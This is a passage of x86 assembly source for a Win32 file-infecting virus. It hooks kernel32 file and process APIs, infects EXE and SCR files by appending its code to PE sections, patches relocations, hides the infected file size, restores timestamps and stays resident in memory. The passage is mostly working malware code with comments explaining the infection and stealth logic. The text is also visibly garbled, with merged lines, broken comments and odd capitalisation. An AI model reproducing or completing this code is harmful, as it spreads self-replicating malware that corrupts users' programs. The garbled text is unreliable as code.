SUB EDI, EBX
Add ESI, [ESI]
MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF RELOCATION DIR.
.Oh_directoryentries /
.De_basereelococ /
.Dd_size /
-Mz_lfanew]
Jecxz _POPAD
Mov ESI, [ESI.NT_OPTIONALHEADER /; GET RVA TO RELOCATION Section
.Oh_directoryentries /
.De_basereelococ /
.Dd_virtualaddress /
-Mz_lfanew]
Call redo_reloc; Pass adress of fix_relocs label as a parameter
FIX_RELOCS:; Process Relocation Block and Look for Nulified Relocationz ..
Lodsw; Get Relocation Item
CWDE
Dec EAX
.IF SIGN?
JNC f_next_reloc; if first item, jump to get Next Relocation Item
.endif
TEST AH, MASK RD_RELOCTYPE SHR 8; is RELOCATION NULIFIED?
JNZ f_next_reloc; no, jump to get next relocation item
Lea EAX, [EAX EBX 5]
CMP EDI, EAX; RELOCATION ITEM POINTS INSIDE CHUNK OF CODE?
JNC f_next_reloc; no, jump to get next relocation item
Add Eax, -4
CMP EAX, EDX
JNC f_next_reloc; no, jump to get next relocation item
; relocation item is pointing inside chunk of code .. add delta to fix it ..
Pushhad
MOV EBX, [ESP. (4 * pshd) .cpushad.pushad_ebx]; Get Actual Host Base AdRess
MOV EBP, [EBX EDI - 4]
MOV ECX, [ESP. (3 * pshd). (2 * cpushad) .arg3]; Get Pointer to Chunk of Code Inside Code Table
MOV EBX, [EBX EDX]
XCHG EBP, [ECX - 4]
SUB ECX, EDI
MOV ESI, [ESP. (4 * pshd) .cpushad.pushad_ecx]; Get Relocation Delta To Add
XCHG EBX, [EDX ECX]
Add [EAX ECX], ESI; Add Delta .. (AACK! DAMNED RELOCATIONZ ..)
MOV [EDX ECX], EBX
Popad
CLC
f_next_reloc:
Loop fix_relocs; get next reelocation item
RET
REDO_RELOC:
Call get_relocs
_POPAD: POPAD
WRITE_CHUNK:
Call [EBP DDWRITEPROCESSMORY - EBP_NUM]; Write Chunk of Code to the code Section
XCHG ECX, EAX
POP EDX
CLD
POP EAX
JECXZ N_HOST; if Error, Jump and Try to stay resident without jumpin back to host
XOR Edx, EAX
Lodsw; Get Pointer To Next Chunk of code to patch, if any
JNZ N_Host; if Error, Jump and try to stay resident without jumpin back to host
CWDE
XCHG ECX, EAX
Sub EDI, ECX
Jecxz Go_resident; No more chunkz, Jump and try to stay resident, the jump back to host
JMP GET_COUNT; JUMP AND PATCH THE NEXT CHUNK
N_HOST: POP Eax; Unwind Return AdRess, An Error Occured, Cant Jump To Host :(
GO_RESIDENT:
Lea ESI, [EBP FINDDATA - EBP_NUM]
PUSH MAX_PATH
PUSH ESI
Push ECX
Call [EBP DDGETMODULEFILENAME - EBP_NUM]; GET HOST FileName
XCHG ECX, EAX
Lea EBX, [EBP JMP_ADDR_TABLE - EBP_NUM]; Get Pointer to Start of Jump AdRess Table
JECXZ G_HOST
Call Open & MapFile; Open Host FileName and Memory-Map IT
g_host: jecxz jmp_host; if error, jump back to host
Push Page_execute_readwrite
Push Mem_Commit or MEM_RESERVE or MEM_TOP_DOWNPUSH (Virtual_END2 - CODE_START 3) and -4
Push ESI; NULL; Let OS Choose Memory Adression
Call [EBP DDVIRTUALLOC - EBP_NUM]; Allocate Enough Memory for Virus Code and Bufferz
Lea ECX, [EBP FUNCTIONNAMEZ2 - EBP_NUM]; Get Pointer to START OF FUNCTION NAMEZ to HOOK
MOV EDI, NON_RES - CODE_START
XCHG ECX, EAX; Get Size of New Allocated Block
Lea ESI, [ECX Pathnamez - Code_Start]
Jecxz close_jmp_host; if Error On Virtualalloc, Close File and Jump To Host
XCHG EDI, ECX; Get Target Adression of New Allocated Block
MOV [EBP PPATHNAMEZ - EBP_NUM], ESI; Initialize Pointer To Store Future Pathnamez Retrieved by Find (First / Next) File (A / W)
MOV ESI, EDI
XCHG [EBP PCODE_START - EBP_NUM], ESI; GET Source Adression of Virus Code and Store New Target Adression AS New Source AdRess
Lea EDX, [EDI ECX JMP_TABLE_SIZE 1]
MOV [EBP PNEWAPIS - EBP_NUM], EDX; Initialize Pointer to Store Hooked APIS in The New Jump Table
CLD
Rep Movsb; Copy Virus Code to New Allocated Block
MOV [ESI], Cl; FORCE A NULL TO MARK The End of Function Namez To Hook
POP ECX; Get Start of Memory-Maped File
Inc EDI; GET POINTER TO NEWAPITABLE
Push ECX
Hook_api:; hook API FunctionZ, Retrieve Old API adress and build new api entry Into jump table ..
Pushhad
Call IgetProcadDressit; Get RVA Pointer of API Function Inside Import Table
Test Eax, EAX
JZ NEXT_API_HOOK; if not found, Jump and get next API Name
Add Eax, [EBP Phost_HDR - EBP_NUM]; Convert RVA TO REAL POINTER BY Addin The Actual Host Base AdRess
MOV EDX, ESP
Push EAX
PUSH ESP
XCHG ESI, EAX
MOV Al, 0B8H; Build "Mov Eax ,?" Instruction Into Jump Table
Push 4
Push Edx
Stosb
Call [EBP DDGETCURRENTPROCESS - EBP_NUM] PUSH ESI
Push EAX
CLD
Movsd; Get and Copy Old API adRESS INTO JUMP TABLE
Call [EBP DDWRITEPROCESSMORY - EBP_NUM]; Setur Api Hook
CLD
MOV Al, 0e9h; Build "JMP?" instruction to jump to new api handler
POP EDX
POP ECX
Stosb
Movzx Eax, Word PTR [EBX]; Build Relative Offset To New API Handler
Sub Eax, EDI
Add Eax, [EBP PCODE_START - EBP_NUM]
Stosd
Push EDI
Next_API_HOK:
Popad
Inc EBX
XCHG ESI, EAX
@Endsz; get Pointer to Next API Name
Inc EBX
CMP [ESI], Al; Check End of Api Namez to Hook
XCHG Eax, ESI
JNZ Hook_api; Jump and Get Next API, IF Theree More Apiz To Hook
Close_JMP_HOST:
Call Close & Unmapfile; Close and Unmap Host File
JMP_HOST:
CLD
POP EAX
JMP EAX; JMP to Host .. or try to quit Aplication if an error occupied While Patchin The code Section
New GetProcaddr:; New getProcaddress API Entry Point .. hook Wanted API FunctionZ from kernel32 ..
Call apicall @ n_2; call old getProcadress API and Retrieve API AdRess in EAX
Pushhad
MOV ECX, [ESP.CPUSHAD.Arg1]; Get Module Handle / Base AdRess
Call get_ebp; get ebp to reference, Internal Variablez Correctly
XCHG ECX, EAX
JECXZ END_GETPROC; Get Out if Retrieved API adress is Zero
SUB EAX, [EBP K32MOD - EBP_NUM]; Is IT KERNEL32 BASE ADRESS?
JNZ end_getproc; no, get out
Lea EDX, [EBP JMP_ADDR_TABLE - 2 - EBP_NUM]; YEA ITS KERNEL32, GET POINTER TO START OF JUMP TABLE
Lea EDI, [EBP FUNCTIONNAMEZ2 - 1 - EBP_NUM]; Get Pointer To API Function Namez To Hook
CLD
n_gproc_next_str:; search specified API Function Name from the list of posible api namez to hook ..
Inc EDX
ScaSB; Get AdRess to next API Function Name
JNZ $ - 1
Mov ESI, [Esp.cpushad.arg2]; Get Pointer to Specified API Function NameInc EDX
Scasb
JZ end_getproc; if End of api namez reached, get out
Dec Edi
n_gproc_next_chr:
Cmpsb; do API Namez Match?
JNZ N_GPROC_NEXT_STR; NO, Get Next API Name
Dec Edi
Scasb
JNZ N_GPROC_NEXT_CHR
N_gProc_apis_match:; API Namez Match, We need to hook the api ..
Lea EBX, [EBP NEWAPITABLE NAPIS - 10 - EBP_NUM]; GET TOP OF JUMP TABLE
MOV EDI, [EBP PNEWAPIS - EBP_NUM]; Get Current Pointer to Build New API Entry
CMP EBX, EDI; Check IF Jump Table Is Full
JC END_GETPROC; GET OUT IF FULL
Push EDI
SUB Al, -0b8h; build "Mov Eax ,?" Instruction Into Jump Table
Stosb
POP EAX
Xchg Eax, [ESP.PUSHAD_EAX]; Retrieve Old API AdRess and Swap with the New API AdRess
Stosd
MOV Al, 0e9h; Build "JMP?" instruction to jump to new api handler
Stosb
Movzx Eax, Word PTR [EDX]; Build Relative Offset To New API Handler
Sub Eax, EDI
Add Eax, [EBP PCODE_START - EBP_NUM]
Stosd
MOV [EBP PNEWAPIS - EBP_NUM], EDI; Update Pointer to Next Api Entry In The Jump Table
END_GETPROC:
Popad
RET (2 * pshd); return to caller
JMP_addr_table:; adRess Table .. Contains Relative Offsetz To New API Handlerz ..
DW newgetProcaddr - Code_Start - 4
DW newgetfileattra - Code_Start - 4
DW NewGetFileAtTrw - Code_Start - 4
DW newMovefileExa - Code_Start - 4
DW newMovefileExw - Code_Start - 4
DW new_lopen - Code_Start - 4
DW NewcopyFilea - Code_Start - 4
DW newcopyFilew - Code_Start - 4
DW newopenfile - Code_Start - 4
DW newMovefilea - Code_Start - 4
DW newMoveFilew - Code_Start - 4
DW newcreateProcessa - Code_Start - 4
DW newcreateProcessw - Code_Start - 4
DW newcreatefilea - Code_Start - 4
DW newCreateFilew - Code_Start - 4
DW newfindclosex - code_start - 4DW newfindfirstfilea - code_start - 4
DW newfindfirstFilew - Code_Start - 4
DW newfindnextFilea - Code_Start - 4
DW newfindnextFilew - Code_Start - 4
DW newsetfileattra - Code_Start - 4
DW NEWSETFILEATTRW - CODE_START - 4
JMP_TABLE_SIZE = $ - JMP_ADDR_TABLE
NewsetFileAtTrw:; New API Handlerz (Unicode Version) ..
NewCreateFilew:
NewcreateProcessw:
NewMoveFilew:
NewcopyFilew:
NewMoveFileExw:
NewGetFileAtTRW:
CommonProcessw:
Test al ,?; Clear Carry (Unicode Version)
Org $ - 1
NewsetFileAttra:; New API Handlerz (ANSI VERSION)..
NewCreateFilea:
NewCreateProcessa:
NewMovefilea:
NEWOPENFILE:
NewcopyFilea:
NEW_LOPEN:
NewMovefileExa:
NewGetFileAttra:
CommonProcessa:
STC; SET Carry (ANSI Version)
Pushhad
Call get_ebp2_uni2ansi; Get EBP TO REFERENCE INTERNAL VARIABLEZ CORRECTLY AND CONVERT UNICODE STRING TO ANSI (for Unicode Version Apiz)
JECXZ JMP_OLD_API
Call Findfirst; Get Atributez, Size of File and Check IF IT EXISTS
JZ JMP_OLD_API
Dec EAX
Push Eax; Save Search Handle
@copysz; Copy FileName to an Internal Buffer
Call process_file2; try to infect file ..
NCF_Close:
Call [EBP DDFINDCLOSE - EBP_NUM]; Close File Search
JMP_OLD_API:
Popad
JMP EAX; Jump to Original API AdRess
NewFindFirstFilew:; New Findfirst API Handler .. Infect Files, Stealth (Unicode Version)
Test al ,?; Clear Carry (Unicode Version)
Org $ - 1
NewFindFirstFilea:; New Findfirst API Handler .. Infect Files, Stealth (ANSI Version)
STC; SET Carry (ANSI Version)
Call Apicall @ n_2; call old findfirst API
Pushhad
Inc Eax; if any error, get out
JZ Go_RET_2PSHD
Dec EAX
JZ Go_RET_2PSHD
Call get_ebp2_uni2ansi; Get EBP TO REFERENCE INTERNAL VARIABLEZ CORRECTLY AND CONVERT Unicode String To ANSI (for Unicode Version Apiz) Jecxz Go_Ret_2pshd
MOV EDI, [EBP PPATHNAMEZ - EBP_NUM]; GET POINTER TO New Entry In Pathnamez Table
Lea EBX, [EBP PATHNAMEZ NPATHNAMEZ - MAX_PATH - EBP_NUM]; Get Top Of Pathnamez Table
CMP EDI, EBX
JNC Go_Ret_2pshd; if not enough Space to store filename, Jump
MOV EBX, EDI
@copysz; Copy FileName to Pathnamez Table
NEXT2_FF: MOV Al, [EDI - 1]; Get End of path ..
Add Al, - '/'
JZ EOP_FF
SUB Al, ':' - '/'
JZ EOP_FF
Dec Edi
CMP EBX, EDI
JC Next2_FF
XOR Al, Al
EOP_FF: Stosb; Force Null To Split Path from FileName
MOV [EBP PPATHNAMEZ - EBP_NUM], EDI; UPDATE POINTER TO Next Entry in Pathnamez Table
Call get_handle_ofs_0; Get New Free Entry In Handlez Table
JC Go_RET_2PSHD
MOV EAX, [ESP.PUSHAD_EAX]; Get Handle Returned by Findfirst
Store Handle Into Handlez Table
XCHG EAX, EBX
StOSD; Store Pointer To Asociated Pathname Into Handlez Table As Well
MOV [EBP PHANDLEZ - EBP_NUM], EDI; UPDATE POINTER TO Next Entry in Handlez Table
XCHG ESI, EAX
JMP FINDCOMMON
GO_RET_2PSHD: POPAD; RETURN TO CALLER
Ret (2 * pshd)
NewFindNextFilew:; New Findnext API Handler .. Infect Files, Stealth (Unicode Version)
Test al ,?; Clear Carry (Unicode Version)
Org $ - 1
NewFindNextFilea:; New FindNextt API Handler .. Infect Files, Stealth (ANSI Version)
STC; SET Carry (ANSI Version)
Call Apicall @ n_2; call old findnext API
Pushhad
Call get_handle_ofs_ebp; Get Correct Entries In Handlez Table Acordin to Handle
JC Go_RET_2PSHD
MOV ESI, [EDI 4]; Get Respective Pathname
Findcommon: Lea EDI, [EBP PATHNAME - EBP_NUM]
@copysz; Copy Pathname To Respective BufferDec Edi
MOV EBX, [Esp.cpushad.arg2]; GET WIN32_FIND_DATA Parameter
OR Al, [EBP UNI_OR_ANSI - EBP_NUM]; Check if ITS ANSI or Unicode
Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName
JNZ ITS_ANSI_FC
Call uni2ansi; ITS Unicode, Convert to Ansi and Atach FileName to Pathname
ITS_ANSI_FC: Call Process_File3; Try To Infect File
Call get_size; get file size
JNZ GO_RET_2PSHD
TEST [EBX.WFD_NFILESZELOW.HIW.HIB], 1111100B; FILESIZE> 64MB?
JNZ Go_RET_2PSHD; YEA, File Too Large, Jump
Div ECX
Dec edx
JNS GO_RET_2PSHD; IF Not Infected, Jump, Stealth Not Necesary
Call Check_pe_file; File Is Infected, Do Size Stealth
JMP Go_RET_2PSHD
NewFindClosex: MOV CL, 1
Call Apicall @ n; Call Old FindClose API
Pushhad
Call get_handle_ofs_ebp; Get Correct Entries In Handlez Table Acordin to Handle
JC Go_RET_PSHD
Lea ESI, [EDI 4]
MOV ECX, [EBP PHANDLEZ - EBP_NUM]
Lodsd
Sub ECX, ESI
Pushhad
XCHG ESI, Eax; Remove Pathname Entry
MOV ECX, [EBP PPATHNAMEZ - EBP_NUM]
Mov EDI, ESI
@endsz
Sub ECX, ESI
MOV [ESP.PUSHAD_EBX], ECX
REP MOVSB
MOV [EBP PPATHNAMEZ - EBP_NUM], EDI; UPDATE POISTER TO HANDLEZ TABLE
Popad
SHR ECX, 3; Remove Handle Entry
JZ Seth_fc
FIXPPATHNAMEZ: MOVSD
Lodsd
Sub Eax, EBX
Stosd
Loop fixpathnamez
SETH_FC: MOV [EBP PHANDLEZ - EBP_NUM], EDI; UPDATE POISTER TO PATHNAMEZ TABLE
Go_ret_pshd: popad
RET (PSHD)
Open & mapfile proc; Open and map file in read Only MODE
On Entry:
ESI = PSZFileName (Pointer to File Name)
ON EXIT:
ECX = 0, IF Error
; ECX = base adress of memory-map file, IF OK
XOR EDI, EDI
Open & mapfileadj:; Open and map file in read / write mode
On Entry:
; EDI = File Size Work Space (in Bytes); ESI = PszFileName (Pointer to File Name)
ON EXIT:
ECX = 0, IF Error
; ECX = base adress of memory-map file, IF OK
EDI = Old File Size
XOR EAX, EAX
Push Eax; 0
Push eax; file_attribute_normal
Push Open_EXISTING
Push eax; null
MOV Al, 1
Push eax; file_share_read
Ror Eax, 1; Generic_Read
MOV ECX, EDI
JECXZ $ 4
RCR EAX, 1; Generic_Read generic_write
Push EAX
Push ESI; PSZFileName
Call [EBP DDCREATEFILEA - EBP_NUM]; OPEN FILE
CDQ
XOR ESI, ESI
INC EAX
JZ end_open & mapfile; if error, jump
Dec EAX
Push Eax; Push First Handle
Push edx; null
Push EDI; File Size Buffer Size
Push EDX; 0
Mov DL, Page_Readonly
MOV ECX, EDI
JECXZ $ 4
SHL DL, 1; Page_Readwrite
Push Edx
Push ESI; NULL
Push Eax; Handle
Call [EBP DDCREATEFILEMAPPINGA - EBP_NUM]; CREATE FILE MAPPING
CDQ
XCHG ECX, EAX
JECXZ END_OPEN & MAPFILE2; if Error, Close Handle and Jump
Push Ecx; Push Second Handle
Push EDI; File Size Buffer Size
Push EDX; 0
Push EDX; 0
MOV DL, FILE_MAP_READ
Test EDI, EDI
.IF! ZERO?
SHR DL, 1; File_Map_Write
Mov Edi, [EBX.WFD_NFILESZELOW]
.endif
Push Edx
Push Ecx; Handle
Call [EBP DDMAPVIEWOFFILE - EBP_NUM]; MAP View of File
XCHG ECX, EAX
JECXZ END_OPEN & MAPFILE3
Push Ecx; Push Base AdRess of Memory-Maped File
JMP [ESP. (3 * pshd) .retaddr]; Jump To Return AdRess Leavin Parameterz in The Stack
Open & mapFile Endp
Close & UnmapFile Proc; Close and Unmap File Previosly Opened in Read Only Mode
XOR EDI, EDI
Close & UnmapFileadj:; Close and Unmap File Previosly Opened in Read / Write Mode
POP [ESP. (4 * pshd) .retaddr - pshd]
Call [EBP DDUNMAPVIEWOFFILE - EBP_NUM]; Unmap View of Filend_Open & MapFile3:
Call [EBP DDCLOSEHANDLE - EBP_NUM]; Close Handle
MOV ECX, EDI
JECXZ END_OPEN & MAPFILE2; if Read-Only Mode, JUMP
POP EAX
Push EAX
Push EAX
XOR ESI, ESI
PUSH ESI
PUSH ESI
Push EDI
Push EAX
Xchg EDI, EAX
Call [EBP DDSETFILEPOINTER - EBP_NUM]; Move File Pointer to the Real End of File
Call [EBP DDSETENDOFFILE - EBP_NUM]; Truncate File At Real End of File
Lea eax, [ebx.wfd_ftlastwritetime]
Push EAX
PUSH ESI
PUSH ESI
Push EDI
Call [EBP DDSETFILETIME - EBP_NUM]; Restore Original Date / Time Stamp Field
END_OPEN & MAPFILE2:
Call [EBP DDCLOSEHANDLE - EBP_NUM]; Close Handle
END_OPEN & MAPFILE:
XOR ECX, ECX
RET
Close & UnmapFile Endp
Get_EBP2_UNI2ANSI:; this function sets ebp register to reason in Internal
; Variablez Correctly and Also Converts Unicode
Strings to ANSI (for Unicode Version Apiz ".
This function is only useful at the resident.
On Entry:
; TOS 28H (pshd.cpushad.arg1): Pointer to Specified File Name
ON EXIT:
ECX = 0, IF Error
Mov ESI, [ESP. (Pshd) .cpushad.arg1]; Get Source Pointer to Specified File Name
Call get_ebp2; get actual eBP
Lea EDI, [EBP PATHNAME - EBP_NUM]; GET TARGET POINTER TO INTERNAL BUFFER
JC ANSIOK
Uni2ansi:; this function converts an affinity to a unicode string
On Entry:
ESI = Pointer to Specified File Name
ON EXIT:
ECX = 0, IF Error
XOR EAX, EAX
Push eax; null
Push eax; null
PUSH MAX_PATH
Push Edi; Target Pointer
Push -1
Push ESI; SOURCE POINTER
Push EAX
Push Eax; CP_ACP
Call [EBP DDWIDECHARTOMULTIBYTE - EBP_NUM]
MOV ESI, EDI
ANSIOK: XCHG ECX, EAX
CLD
RET
RVA2RAW Proc; this function converts RVA Valuez to Raw Pointerz Inside PE; Filez. This function is speciaload
Filez.
Given a RVA Value, this function returns the start adies
And Size of the section Containin IT, Plus ITS Relative
Delta Value Inside the Section.
On Entry:
EAX = RVA Value
EBP = START OF MEMORY-MAPED File (MZ HEADER)
ESI = Start of Pe Header 3ch
ON EXIT:
EBP = Raw Size of Section
EBX = RAW Start of Section
ECX = 0, if not found
Start of Respective Section Header ( Section Header)
Size, if found
Edx = RVA START OF SECTION
ESI = Relative Delta of RVA Value Inside Section.
Movzx ECX, Word Ptr [ESI.NT_FILEHEADER /; GET NUMBER OF Sectionz
.Fh_numberofsections /
-Mz_lfanew]
JECXZ END_RVA2RAW
Movzx EBX, Word Ptr [ESI.NT_FILEHEADER /; GET First Section Header
.Fh_sizeofoptionalHeader /
-Mz_lfanew]
Lea EBX, [ESI.NT_OPTIONALHEADER EBX - MZ_LFANEW]
x = image_sizeof_section_header
Match_virtual:; Scan Each PE Section Header and Determine IF Specified RVA
Value Points INSIDE
Mov ESI, EAX
Mov edx, [ebx.sh_virtualaddress]
SUB ESI, EDX
SUB EBX, -X
CMP ESI, [EBX.SH_VIRTUALSIZE - X]; Is RVA Value Pointin Inside Current Section?
JB Section_Found; Yea We Found The Section, Jump
LOOP MATCH_VIRTUAL; NOPE, Get Next Section
END_RVA2RAW:
RET
RVA2RAW ENDP
GET_HANDLE_OFS_EBP:; this function sets ebp register to reason in Internal
Variablez Correctly and Also Given a Handle, IT Gets
a pointer to an entry in the handlez table.
This function is only useful at the resident.
On Entry:
; TOS 28H (pshd.cpushad.arg1): Specified Handle
ON EXIT:
EDI = Pointer to Entry in Handlez Table; Carry Clear, IF OK
Carry set, IF Error
XCHG ECX, EAX
JECXZ END_GHO_STC
Call get_ebp2
MOV ECX, [ESP. (PSHD) .cpushad.arg1]; Get Handle
JECXZ END_GHO_STC
XCHG EAX, ECX
CMP AX,?
ORG $ - 2
GET_HANDLE_OFS_0:; Gets a Pointer to an Empty Entry in the Handlez Table
This function is only useful at the resident.
ON EXIT:
EDI = Pointer to Entry in Handlez Table
Carry Clear, IF OK
Carry set, IF Error
Sub Eax, EAX
Get_handle_ofs:; Given a Handle, this function Gets a Pointer
To an entry in the handlez table.
This function is only useful at the resident.
On Entry:
EAX = Specified Handle
ON EXIT:
EDI = Pointer to Entry in Handlez Table
Carry Clear, IF OK
Carry set, IF Error
Lea EDI, [EBP HANDLEZ - 8 - EBP_NUM]
Lea Edx, [EDI NHANDLEZ]
Next_Gho: scasd; add edi, 8
SCASD;
CMP EDX, EDI; TOP OF HANDLEZ TABLE REACHED?
JC End_Gho; Yea, Handle Not Found, Jump
CMP EAX, [EDI]; Do Handlez Match?
Jnz next_gho; no, check next handle, jump
Test Al ,?; Yea, Handle Found, Clear Carry
Org $ - 1
END_GHO_STC: STC; SET Carry
END_GHO: RET
Section_found:
x = image_sizeof_section_header
XCHG EBP, EBX
Add EBX, [EBP.SH_POINTERTORAWDATA - X]; Get Raw Start of Section
XCHG ECX, EBP
MOV EBP, [ECX.SH_SIZEOFRAWDATA - X]; Get Raw Size of Section
CLD
RET
GET_RELOCS:; this Comon Funtion is Called from Both Instalation and
Infection Stage.
IT Simply Locates Each Relocation Block in The .Reloc Section
And calls a function to (a) Nulify Those Dangerous Reloca-
; Tionz In a Block (Infection Stage) OR (b) to FIX THE CODE
Pointed to by Such Marked Relocationz (INSTALATION STAGE).
On Entry:
EDI = RVA Start Pointer to Chunk of Code; TOS 04H (arg1): fix_relocs label function adness (Instalation Stage)
OR
NUL_RELOCS Label Function AdRess (Infection Stage)
; TOS 00h (Return AdRess)
Add ESI, EBX; Get Start of Relocation Section In Aplication Context
Add Edx, EDI; Get End AdRess of Chunk Code
Lea EBP, [ECX ESI]; Get End of Relocation Section In Aplication Context
Process_reloc_blocks:
Lodsd
XCHG EBX, EAX; Get Start RVA for this block of relocationz
Lea ECX, [EBX 4096]; Get End RVA Where Relocationz Can Point In A Block
Lodsd; Get Size of Reloc Block
X = image_sizeof_base_relocation
Add Eax, -x
CMP EDI, ECX; RVA POIINTER INSIDE RELOCATION block? (Check Low Boundary)
Lea ECX, [EAX ESI]; Get Next Block AdRess
Push ECX
JNC Next_RELOC_BLOCK
SHR EAX, 1
CMP EBX, EDX; RVA POINTER INSIDE RELOCATION block? (Check High Boundary)
JNC Next_RELOC_BLOCK
XCHG ECX, EAX; Get Number of Relocationz for this block
JECXZ NEXT_RELOC_BLOCK
Call [ESP. (Pshd) .arg1]; Call fix_relocs function or num_relocs function
Next_reloc_block:
POP ESI; Get Next Block AdRess
Lea Eax, [ESI X]
CMP EAX, EBP; END OF RELOCATION blockz?
JC process_reloc_blocks; no, process the block, jump
RET (PSHD); Yea, No More Relocation Blockz, Return
Process_file3:; this function copies a filename to an internal buffer
And Checks the Extension Thru a list of infectable
EXTENSIONS (EXE AND SCR FILEZ for THE MOMENT). IF
The extension matches, The file will be infread.
@COPysz
MOV EDX, NOT 0F202020H; Upercase Mask
MOV ECX, [EDI-4]; Get FileName Extension
Lea ESI, [EBP EXTS - EBP_NUM]; GET POITETER TO LIST OF EXTENSIONZ
And ECX, EDX; Convert File Extension to Upercase
NEXT_EXT:
Lodsd; Get Extension from listdec al; no more extensionz?
JS end_pf3
And Eax, EDX; Convert Extension to Upercase
Dec ESI
XOR EAX, ECX; Do Extensionz Match?
JNZ next_ext
CMP BYTE PTR [EDI-5], '.'
JNZ end_PF3; NO, Get Next Extension
Call process_file2; yes, extensionz match, infect file
END_PF3: RET
ERR_RVA2RAW:
Popad; needed to unwind the stack from home function
ERR_RVA2RAW2:
Popad; needed to unwind the stack from home function
RET
Attach Proc; Attach Virus Code to Last Section In The PE File and
Change section characteristicz to reflect Infection.
On Entry:
ECX = Base of Memory-Maped File
EDI = Original File Size
ON EXIT:
EDI = New File Size
Lea ESI, [ECX.MZ_LFANEW]; Get Base of Pe Header 3CH
MOV EAX, [EBP PCODE_START - EBP_NUM]; Get Start Adression of Virus Code
Add ESI, [ESI]
Mov Edx, [ESI.NT_OPTIONALHEADER /; GET Built-in Image Base
.Oh_imagebase /
-Mz_lfanew]
Pushad; Save Valuez to Stack
XOR EAX, EAX
x = image_sizeof_section_header
SUB Al, -x
Mul Byte Ptr [ESI.NT_FILEHEADER /; GET NUMBER OF Sectionz
.Fh_numberofsections /
-Mz_lfanew]
Add Ax, Word Ptr [ESI.NT_FILEHEADER /; Get First Section Header
.Fh_sizeofoptionalHeader /
-Mz_lfanew]
JC ERR_RVA2RAW2
Lea EBX, [ESI.NT_OPTIONALHEADER - MZ_LFANEW EAX]
MOV EAX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT - MZ_LFANEW]
Mov Edx, [ESI.NT_OPTIONALHEADER.OH_FILALIGNMENT - MZ_LFANEW]
Dec EAX
Dec edx
OR EAX, EDX; Check Sectionalignment and FileAlignment Fieldz
CMP EAX, 10000H
JNC ERR_RVA2RAW2; TOO LARGE?
Add EDI, ECX; Get End of File In MM-File
INC Al
JNZ ERR_RVA2RAW2
Mov Eax, [ebx.sh_virtualaddress - x]
MOV EBP, ECX; Get MM-File Base Address
Add Eax, EDI
Add ECX, [EBX.SH_POINTERTORAWDATA - X]
Sub Eax, ECX; Get New RVA Entry Point; at this point:
;
; cpushad.eax = source adress of code to copy (Start at Encrypted Stringz)
; cpushad.ebx = Embedded (in peeader) Host Base Address
EBP = START OF MM-FILE. BASE Address of MM-File
EAX = New RVA Entry Point (Start of Virus Code RVA)
; Edx = file alignment - 1
; EDI = Target Adress Where Code Will Be copied to in the mm-file
; Ecx = start adress of last section in the mm-file
; EBX = Start Adression of last section header (Plus section header size)
; in the mm-file
ESI = START OF PE Header ( 3CH) in The MM-File
Pushhad
Mov Eax, [ESI.NT_OPTIONALHEADER /; GET CURRENT Entry Point
.Oh_addressofentryPoint /
-Mz_lfanew]
On Entry:
;
EAX = Host EntryPoint RVA
EBP = START OF MZ HEADER (START OF MM-File)
ESI = START OF PE Header 3CH (in mm-file)
Call Rva2Raw; Find True Code Section (CLUE: Entrypoint RVA Points Inside)
ON EXIT:
;
EBP = raw size of code section
EBX = RAW Start of Code Section
ECX = 0, if not found
Start of code section Header ( Section Header Size), IF FOUND
; Edx = start of code section rva
ESI = Relative Delta of RVA INSIDE CODE Section.
Jecxz Err_RVA2RAW; Code Section Not Found, Invalid Entrypoint
Pushhad
MOV EBP, ESP
MOV EDX, [EBP. (2 * cpushad) .pushad_ebp]; get Original EBP
x = image_sizeof_section_header
Or byte ptr [ECX.SH_CHARACTERISTICS.HIW.HIB - X], 20H; SET EXEC BIT TO Section
EXEC_SET:
MOV ESI, [EDX ImportHDR - EBP_NUM]; Get Import Section Header
XOR ECX, ESI; Is Import Table INSIDE CODE SECTION?
JZ IT_IN_CODE; YEA, JUMP
Import Table Not Inside Code Se (I. PROBABLY EXISTS An .IData Section)
OR BYTE PTR [ESI.SH_CHARACTICS.HIW.HIB - X], 80H; Set Writable Bitit_in_code:; Import Table ISIDE CODE Section (Stupid Microsoft)
No need to set the Writable bit (The Exec Bit Does the Job)
SUB ECX, ECX
Push EDI; Need this value L8R, Push IT
MOV CL, 5
SUB EAX, 0B2FD26A3H
SUB_1ST_VAL = DWORD PTR $ - 4
Add Edi, Ecx; Add Edi, 5
Stosd
Push EDI
MOV EAX, ECX; AX = 5
Stosw
SUB Al, - 0E9H 5; Al = E9H
Stosb
Mov Eax, [ebp.cpushad.pushad_eax]; Get RVA Start of Virus Code
Sub eAX, [ebp.pushad_eax]
Sub Eax, Ecx; Sub Eax, 5
Stosd
XOR EAX, EAX
POP ESI
Stosw; 0
Mov edi, [ebp.pushad_eax]
Nulify_relocs:; Nulify Relocs That COULD OVERWRITE OUR INSERTED Chunks of Code ..
Push EDI
Lodsw
CWDE
Pushhad
MOV ESI, [EBP.CPUSHAD.PUSHAD_ESI]; Get PE Header ( 3CH)
MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF RELOCATION BLOCKZ
.Oh_directoryentries /
.De_basereelococ /
.Dd_size /
-Mz_lfanew]
JECXZ Go_POPAD; No Relocationz, Jump
Push Eax; Save Size of this Chunk of code Temporarily
Push ECX
MOV EBP, [ebp.cpushad.pushad_ebp]; get base of mm-file (mz header)
Mov Eax, [ESI.NT_OPTIONALHEADER /; GET RVA START OF RELOCATION BLOCKZ
.Oh_directoryentries /
.De_basereelococ /
.Dd_virtualaddress /
-Mz_lfanew]
Call Rva2Raw; Convert RVA TO A RAW Offset Inside The Section
POP EAX
Pop Edx; Retrieve Size of this Chunk of code Temporarily
JECXZ Go_POPAD
XCHG ECX, EAX
Call mark_reloc; pass nul_relocs as a parameter to get_relocs function
NUL_RELOCS:
Lodsw; Get Relocation Item
CWDE
Ror Eax, 3 * 4
Add Al, - Image_rel_Based_Highlow; Check Relocation Type
JNZ N_Next_reloc; Not Valid, Get Next Relocation Item
SHR EAX, 5 * 4; Strip or Blank Relocation Type Field from Relocation Item
Lea EAX, [EAX EBX 4]; Convert Relocation Pointer to RVACMP EDI, EAX; Check if Relocation Points To Our Chunk of Code ..
JNC N_Next_reloc; Check Low Boundary
Add Eax, -4
CMP Eax, EDX; Check High Boundary
JNC N_Next_reloc; It Doesnt Point To Our Chunk Of Code, Get Next Relocation Item
This Relocation item is Pointing Inside Our chunk of code ..
Nulify and Mark IT!
